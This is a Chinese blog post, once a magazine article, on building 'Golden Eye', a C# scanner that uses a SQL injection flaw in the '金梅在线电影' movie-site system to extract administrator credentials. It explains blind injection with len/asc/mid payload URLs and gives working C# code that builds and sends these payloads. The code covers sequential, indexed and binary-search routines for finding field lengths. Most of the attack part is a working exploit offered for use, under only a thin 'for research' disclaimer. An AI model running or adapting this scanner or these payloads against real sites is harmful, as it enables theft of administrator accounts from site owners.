黄金眼——SQL注入扫描器的制作

关键字:黄金眼,SQL注入,扫描器,C#

  本文最早是为《黑客安全基地》撰写的。后来由于一些原因,该杂志停刊。所以现在整理后发到我的站上,给大家观赏吧。因为“黄金眼”从我发布到现在已经有大半年的时间,所以如果您的站还受到这个扫描器的困扰,那我只能说抱歉,您太懒了,该打补丁了!

  本文内容具有一定的攻击性,这里仅为研究探讨。作者不对由于本文引起的任何后果负责。我希望阅读本文的朋友应该有一定的编程基础,因为本文将涉及大量的数据结构方面的知识。

  经常有朋友问我:“我也想学黑客技术,学编程。我该怎么学?从哪开始学?”。今天,我就和大家探讨一下“黄金眼”SQL注入扫描器的编写思路以及技术细节。这里我并不是希望大家看过本文之后只会照猫画虎的去写扫描器去扫网站帐号,而是希望我在编写这个扫描器中的一些想法对大家有启发。

两个问题:

1. 什么是“黄金眼”

  “黄金眼”是我在2003年9月初发布的一款针对“金梅在线电影免费会员版”存在的SQL注漏洞获取管理员帐号的扫描器。先后经历了1.0、1.1、1.2和最新版本1.3四个版本。其中我只发布了1.0、1.1、1.3三个版本。在每一次升级我都对内核部分的扫描算法进行了改进。使扫描速度成倍提高。

2. 什么是SQL注入漏洞,如何利用该漏洞

  在我印象中,类似的文章已经不少了。老版本动网论坛、早期孤独剑客的网站、以及本扫描器针对的“金梅在线电影免费会员版”(为了方便期间,下文简称“金梅”系统。)这些动态页面程序都存在SQL注入漏洞。为了方便我后面的程序讲解下面我再重复一下什么是SQL注入漏洞。这里我使用ASP作为讲解的语言。当然如果你不懂ASP也没有关系。你只要理解我下面说的内容就可以了。

  我们知道在动态页面的编写中,可以通过页面地址所带的参数获得数据。即GET方法。比如http://www.abc.com/movie.asp?id=123。这里问号后面的“id=123”就是GET方法传入的内容。变量名为“id”,变量值为“123”。而后台页面中操作这个变量,其实很简单。以ASP页面为例:

Movie.asp

<%

response.write request.querystring(“id”)

%>

  这里“request.querystring(“id”)”返回的就是传入的内容“123”。当然,如果你用“movie.asp?id=hello world”访问,那么“request.querystring(“id”)”返回的就是“hello world”。

  那这里会出现什么漏洞呢?当然,如果只是这样的页面就什么漏洞也没有。如果是下面的程序呢:

Movie.asp

<%

Set conn = Server.CreateObject("ADODB.Connection")

connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(“db.mdb”)

conn.Open connstr

set rs = Server.CreateObject("ADODB.recordset")

sql = “SELECT * FROM admin WHERE aID=”+request.querystring(“id”)

rs.open sql,conn,1,1

%>

  写过ASP的朋友都知道,这是从“admin”这张表中查找字段“aID”为“request.querystring(“id”)”的记录。比如前面说的“123”。实际在“rs.open sql,conn,1,1”执行SQL语句的时候是在执行“SELECT * FROM admin WHERE aID=123”这句。上面这段程序,正常执行肯定没有问题。但是我们期望“request.querystring(“id”)”是一个合法的字段值。比如索引编号必须为数字。如果“request.querystring(“id”)”是数字会怎么样呢?当然是出错了。我们使用下面的地址访问movie.asp这个页面:“movie.asp?id=hello world”。这时候,会提示出错。因为“aID”这个字段是一个编号,必须为数字。而我们输入的是一个字符串。实际执行时候的SQL语句是“SELECT * FROM admin WHERE aID=hello world”,这当然会出错!

  大家请注意:出错的地方就是我们的突破口!

  大家再来看看使用“movie.asp?id=123 and 1=1”访问会有什么样的结果。这时候实际执行的SQL语句是“SELECT * FROM admin WHERE aID=123 and 1=1”我们知道“1”一定是等于“1”的。那么这个SQL语句执行的效果和“SELECT * FROM admin WHERE aID=123”是完全一样。是不会出错的!但是如果你将“and 1=1”改为“and 1=2”就会出现使用“hello word”访问的时候出现的错误。

  如果我们能用语句查找字段内容,返回查找的值。我们不就可以用“and 1=X”来测试么?只有当X等于“1”时,才能正确显示页面。

  以“金梅”系统为例。它使用ACCESS数据库。管理员帐号是存在数据表“password”中。有三个字段:“id”、“name”、“pwd”。分别存放“序号”、“管理员名”、“密码”。非常巧合的是,“金梅”系统只有一个管理员。并且“id”为“1”。

  好了,其实我们的入侵代码已经很好写了:

  使用“SELECT id FROM password WHERE name=admin”可以测试管理员名是不是“admin”。如果管理员名是“admin”则该SQL语句返回值“1”。否则为其他值。使用刚才提到的“and 1=1”判断,就可以知道我们猜测的管理员名是不是“admin”。完整的入侵代码如下:

“movie.asp?id=123 and 1=(SELECT id FROM password WHERE name=admin)”

  但是这里有个问题是我们必须穷举才能测试出管理员名是多少。有没有更快速更简单的方法呢?有!

  ACCESS给我们提供了很多函数以简化操作。比如len()可以获得一个字段值的长度:

“movie.asp?id=123 and 1=(SELECT id FROM password WHERE len(name)=10)”

  当管理员名长度为10的时候,访问成功。当然,我们也可以用“大于”、“小于”来大概判断一下管理员名的长度:

“movie.asp?id=123 and 1=(SELECT id FROM password WHERE len(name)<10)”

  当上面的地址访问成功的时候,说明管理员名长度小于10。反之管理员名长度大于或等于10。

  当确定了管理员名的长度,我们就可以确定管理员名的内容。这里还有两个函数需要简单介绍:mid(str, index, len)与asc()。mid()函数返回指定序号,指定长度的子串。有三个参数:str为输入的字符串,index为标号,len为长度。比如mid(“abcdefg”, 3, 3)会返回字符串“cde”。函数asc()是返回参数的ASCII码。asc(‘M’)返回的就是十进制数77。利用这两个函数,我们可以逐位测试出管理员名:

  测试管理员名第一位的ASCII码是不是小于99:“movie.asp?id=123 and 1=(SELECT id FROM password WHERE asc(mid(name,1,1))<99)”

  测试管理员名第一位的ASCII码是不是大于97:“movie.asp?id=123 and 1=(SELECT id FROM password WHERE asc(mid(name,1,1))>97)”

  测试管理员名第一位的ASCII码是不是等于98:“movie.asp?id=123 and 1=(SELECT id FROM password WHERE asc(mid(name,1,1))=98)”

…………

  这样也就测试出管理员名的第一位,然后接着测试第二位第三位……

……

“movie.asp?id=123 and 1=(SELECT id FROM password WHERE asc(mid(name,2,1))<97)”

……

“movie.asp?id=123 and 1=(SELECT id FROM password WHERE asc(mid(name,3,1))>98)”

……

每次只记录访问成功的页面的时候的ASCII值,然后换算成字母。得到的就是管理员名了。在查找密码的时候同样的道理,只要把“asc(mid(name,3,1))”中的name字段名换为pwd就可以了,比如测试密码第4位字符的ASCII码是不是小于104:

“movie.asp?id=123 and 1=(SELECT id FROM password WHERE asc(mid(pwd,4,1))<104)”

现在我想你对SQL注入漏洞已经有一个大体的了解了。我希望你能下载一个“金梅”系统,搭建一个实验环境。自己动手试试,体会一下SQL注入漏洞的使用。这对你继续后面的内容很有帮助。

终于可以开始我最喜欢的部分了(^_*)。首先我要说一下我如何选择编程工具。我的很多工具的编写都是基于dotNET平台,用C#编写的。我觉得这种轻量级的工具应该用快速、方便的方法来编写。当然,使用C/C++甚至汇编来编写。你的工具执行效率会非常高。不过是不是太浪费了点呢?

这里我要说点题外话。有朋友在我站上留言说该怎么学编程。我的观点,语言只是一个载体,一种表达方式。我想大家一定有这样的体会:在描述一个事件或是一个物体时。有的时候用语言描述比较准确、方便;有的时候用数字描述更好。就是这个道理。编程,其实你用任何语言都可以。但是应该选择最方便,最快速的。我个人很反对,因为喜欢汇编就排斥C#、JAVA这样的中间件语言。因为喜欢C#或JAVA就排斥C/C++。这都是极端错误的!!!

好了,废话了一大堆,多骗了很多稿费。我只是希望大家理解,因为我今天又要用C#来干活了。嘿嘿……

老办法,先给个界面让大家有感性认识。今天我们就要设计这么一个扫描器(图1):

在界面上放置四个文本框:txtPage、txtName、txtPass、txtLog。分别作为目标页面输入框、管理员名显示框、密码显示框和日志显示框。再放置两个按钮:btnTest、btnOK。作为测试按钮和扫描按钮。然后再放一些标签,做美化和说明作用。界面实在是太简单了。

下面就可以开始编码了。

为了访问我们的目标页面,提交精心准备的SQL注入代码。我们必须要访问网络、使用HTTP协议:连接、发送、接收、断开……等等,我们刚才好象说的是使用C/C++编写的过程。是的,在C#中根本不用这么麻烦。在dotNet类库中已经为我们准备了整套的URL操作类。

在名字空间System.Net下有两个类:HttpWebRequest、HttpWebResponse。分别负责请求(Request)和应答(Response)。具体的使用,请看下面的代码:

        public bool GetPage(string url)

        {

               try

               {  

                      // 值临时变量 r。

                      bool r = false;

                      // 对指定的 URL 创建 HttpWebRequest 对象。

                      HttpWebRequest myHttpWebRequest = (HttpWebRequest)WebRequest.Create(url);

                      // 发送 HttpWebRequest 并等待回应。

                      HttpWebResponse myHttpWebResponse = (HttpWebResponse)myHttpWebRequest.GetResponse();

                      // 检测 HttpWebRequest 当为 HttpStatusCode.OK 时,设置临时变量为 true。

                      if (myHttpWebResponse.StatusCode == HttpStatusCode.OK)

                             r = true;

                      // 释放 HttpWebRequest 使用的资源。

                      myHttpWebResponse.Close();

                      // 函数返回临时变量 r。

                      return r;                      

               }

               catch(WebException e)

               {

                      //捕捉到 WebException 时函数返回 false。

                      return false;

               }

               catch(Exception e)

               {

                      //捕捉到 Exception 时函数返回 false。

                      return false;

               }

        }

这个函数使用参数url传入目标页面的地址。

“HttpWebRequest myHttpWebRequest = (HttpWebRequest)WebRequest.Create(url);”这句建立一个HttpWebRequest对象和目标页面相连接。

“HttpWebResponse myHttpWebResponse = (HttpWebResponse)myHttpWebRequest.GetResponse();”将发送一个请求,并建立HttpWebResponse对象接收应答。

应答的代码将存储于“myHttpWebResponse.StatusCode”中。这里的应答代码就是服务器返回的代码。比如200表示访问成功、404表示页面不存在、500表示服务器内部错误(恩,好象前面SQL注入的时候,注入不成功都是显示500错误么。没错,看下面!)……

枚举类型HttpStatusCode中的枚举值就是上面说的服务器返回代码。比如“HttpStatusCode.OK”就代表返回码200;“HttpStatusCode. InternalServerError”就代表返回码500。将这个应答代码“myHttpWebResponse.StatusCode”与枚举值“HttpStatusCode.OK”进行比较。如果相等,那么说明页面访问成功,函数返回true。如果不相等,函数返回false。中间我还用try…catch…捕获任何可能的错误。出现任何错误都返回false。

将这个函数加入主窗体的类中,同时要记得主窗体类要记得使用名字空间System.Net。这样最核心的部分就做好了。下面我们就来看看这个函数怎么用。

在按钮btnTest的Click事件中添加下面的代码:

            private void btnTest_Click(object sender, System.EventArgs e)

              {

                     if(this.GetPage(txtPage.Text + "%20and%201=1"))

                            txtLog.Text = "该页面可能存在 SQL 注入漏洞,可尝试扫描!";

                     else

                            txtLog.Text = "该页面不存在 SQL 注入漏洞,无法扫描! ";

        }

“txtPage.Text + "%20and%201=1"”实际上就是合成SQL注入语句,要将目标页面的地址填写在txtPage文本框中。还记得前面说到的“and 1=1”么?这里只不过用UNICODE对空格进行了编码。使用函数GetPage()判断页面是否可以访问。如果返回true,那么页面可以访问。说明注入测试成功,否则说明失败。

我们自己写的GetPage()函数会用了以后,再来看看如何真正实现扫描吧。这里是最难的地方。但是思考过程会很有意思。

在讲解SQL注入漏洞的时候我说了,可以使用“movie.asp?id=123 and 1=(SELECT id FROM password WHERE len(name)=10)”的方法判断用户名长度是不是等于10。在“金梅”系统中,管理员名最大长度为20。那么我们就可以:

“movie.asp?id=123 and 1=(SELECT id FROM password WHERE len(name)=1)”

“movie.asp?id=123 and 1=(SELECT id FROM password WHERE len(name)=2)”

“movie.asp?id=123 and 1=(SELECT id FROM password WHERE len(name)=3)”

……

使用这样的方法来测试管理员名到底为多长。当然,也可以用同样的方法测试密码的长度。不过“金梅”系统设置密码最大长度为50。编写下面的函数:

      private int GetFieldLen(string table, string field, int l, int h)

         {

                for(int i = l; i <= h; i++)

                       if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")=" + i.ToString() + ")"))

                              return i;

return 0;

         }

这个函数通用性很强。共有四个参数:table是我们要扫描的表名,在“金梅”系统中就是表password。Field是我们要测试长度的字段名,比如“金梅”系统中的name和pwd两个字段。l和h两个参数代表扫描的范围。也就是测试的最小长度和最大长度。我们可以用这个函数来扫描管理员名,比如:GetFieldLen(“password”, “name”, 1, 20)。这时函数返回的是管理员名长度。如果扫描密码长度可以:GetFieldLen(“password”, “pwd”, 1, 50)。

大家看到的这个函数是“黄金眼”1.0中的函数,可以说非常慢。因为为了比较出字段值长,我们必须逐一的比较。比如很极端的情况,对方设置了一个20位长的管理员名、50位长的密码。那么比较的次数就是20次和50次,才能得到我们需要的长度。这种算法被称为“顺序查找”。算法的优点就是简单。大家可以看到一共用了4行代码,我们就完成了查找。非常遗憾的是虽然编写起来虽然非常简单,但是执行效率低下!在“黄金眼”1.1中我使用“索引查找”来提高了效率:

      private int GetFieldLen(string table, string field, int l, int h)

         {

                int index1 = (l + h) / 3;

                int index2 = (l + h) * 2 / 3;

                if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")<" + index1.ToString() + ")"))

                     for(int i = l; i < index1; i++)

                              if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")=" + i.ToString() + ")"))

                                     return i;

                if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")<" + index2.ToString() + ")"))

                     for(int i = index1; i < index2; i++)

                              if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")=" + i.ToString() + ")"))

                                     return i;

              for(int i = index2; i <= h; i++)

                       if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")=" + i.ToString() + ")"))

                              return i;

return 0;

         }

是不是看得有点晕了呢?“索引查找”的代码要复杂得多!其实我给大家讲一下什么是“索引查找”上面的代码就很清晰了。大家先看下面的序列:

1、2、3、4、5、6、7、8、9、10、11、12、13、14、15、16、17、18、19、20

这就是我们要查找的序列。在这个查找过程的第一句和第二句:“int index1 = (l + h) / 3;”、“int index2 = (l + h) * 2 / 3;”,我建立的实际上是两个索引。比如这20个元素的查找中,第一个索引为7,第二个索引为14。大家应该注意到了,在每个顺序查找语句的前面都有一个条件语句。这个条件语句就是判断索引。过程大致如下:

判断字段长度是否小于7,如果小于,采用顺序查找查找1-6。

否则

判断字段长度是否小于14,如果小于,采用顺序查找查找7-13。

否则

采用顺序查找查找14-20。

这样利用索引将顺序查找的范围缩小了2/3。查找范围小了,比较次数减少。速度当然就提高了很多。但这是最快的方法么?先看看下面的代码:

       private int GetFieldLen(string table, string field, int l, int h)

         {

                int nLen = 0;

                int low = l;

                int hig = h;

                int mid;

                int tmp = h - l;

                while((low <= hig)&&(tmp!=0))

                {

                       mid = (low + hig)/2;

                       if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")<" + mid.ToString() + ")"))

                              hig = mid - 1;

                       else

                              if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")>" + mid.ToString() + ")"))

                                     low = mid + 1;

                       else

                              if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")=" + mid.ToString() + ")"))

                              {

                                     nLen = mid;

                                     break;

                              }    

                       --tmp;

                }

                return nLen;

         }

很复杂,每次循环都使用“mid = (low + hig)/2;”计算新值。这就是“折半查找”。我使用自然语言描述一下“折半查找”的方法:

循环:当 low < high 或 查找次数达到最大次数

mid = (low + high) / 2 //计算low和high的中间值

判断字段长度是否小于中间值mid,如果小于,令high = mid – 1

否则

判断字段长度是否大于中间值mid,如果大于,令low = mid + 1

否则

判断字段长度是否等于中间值mid,如果等于,返回字段长度。

循环结束;

算法有点难理解么?其实你只要设置一组有序数。然后随机选取一个数,套用上面的算法查找,一步一步做上几次就明白了。Step by Step!

posted on 2007-04-09 16:07  石川  阅读(384)  评论(0编辑  收藏  举报